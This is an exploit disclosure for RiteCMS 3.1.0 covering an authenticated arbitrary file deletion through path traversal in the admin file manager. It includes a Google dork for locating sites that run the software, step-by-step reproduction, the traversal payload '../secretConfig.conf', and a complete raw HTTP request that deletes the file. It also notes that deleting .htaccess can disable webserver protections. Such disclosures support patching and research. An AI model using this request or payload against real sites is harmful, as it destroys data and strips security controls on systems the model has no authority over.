RiteCMS 3.1.0 - Arbitrary File Deletion (Authenticated)

# Exploit Title: RiteCMS 3.1.0 - Arbitrary File Deletion (Authenticated)
# Date: 25/07/2021
# Exploit Author: faisalfs10x (https://github.com/faisalfs10x)
# Vendor Homepage: https://ritecms.com/
# Software Link: https://github.com/handylulu/RiteCMS/releases/download/V3.1.0/ritecms.v3.1.0.zip
# Version: <= 3.1.0
# Google Dork: intext:"Powered by RiteCMS"
# Tested on: Windows 10, Ubuntu 18, XAMPP
# Reference: https://gist.github.com/faisalfs10x/5514b3eaf0a108e27f45657955e539fd


################
# Description  #
################

# RiteCMS version 3.1.0 and below suffers from an arbitrary file deletion vulnerability in Admin Panel. Exploiting the vulnerability allows an authenticated attacker to delete any file in the web root (along with any other file on the server that the PHP process user has the proper permissions to delete). Furthermore, an attacker might leverage the capability of arbitrary file deletion to circumvent certain webserver security mechanisms such as deleting .htaccess file that would deactivate those security constraints.


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# PoC to delete secretConfig.conf file in web root  #
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Steps to Reproduce:

1. Login as admin
2. Go to File Manager
3. Delete any file
4. Intercept the request and replace current file name to any files on the server via parameter "delete".

# Assumed there is a secretConfig.conf file in web root

PoC: param delete - Deleting secretConfig.conf file in web root, so the payload will be "../secretConfig.conf"

Request:
========

GET /ritecms.v3.1.0/admin.php?mode=filemanager&directory=media&delete=../secretConfig.conf&confirmed=true HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:90.0) Gecko/20100101 Firefox/90.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://localhost/ritecms.v3.1.0/admin.php?mode=filemanager
Cookie: PHPSESSID=vs8iq0oekpi8tip402mk548t84
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1
Sec-GPC: 1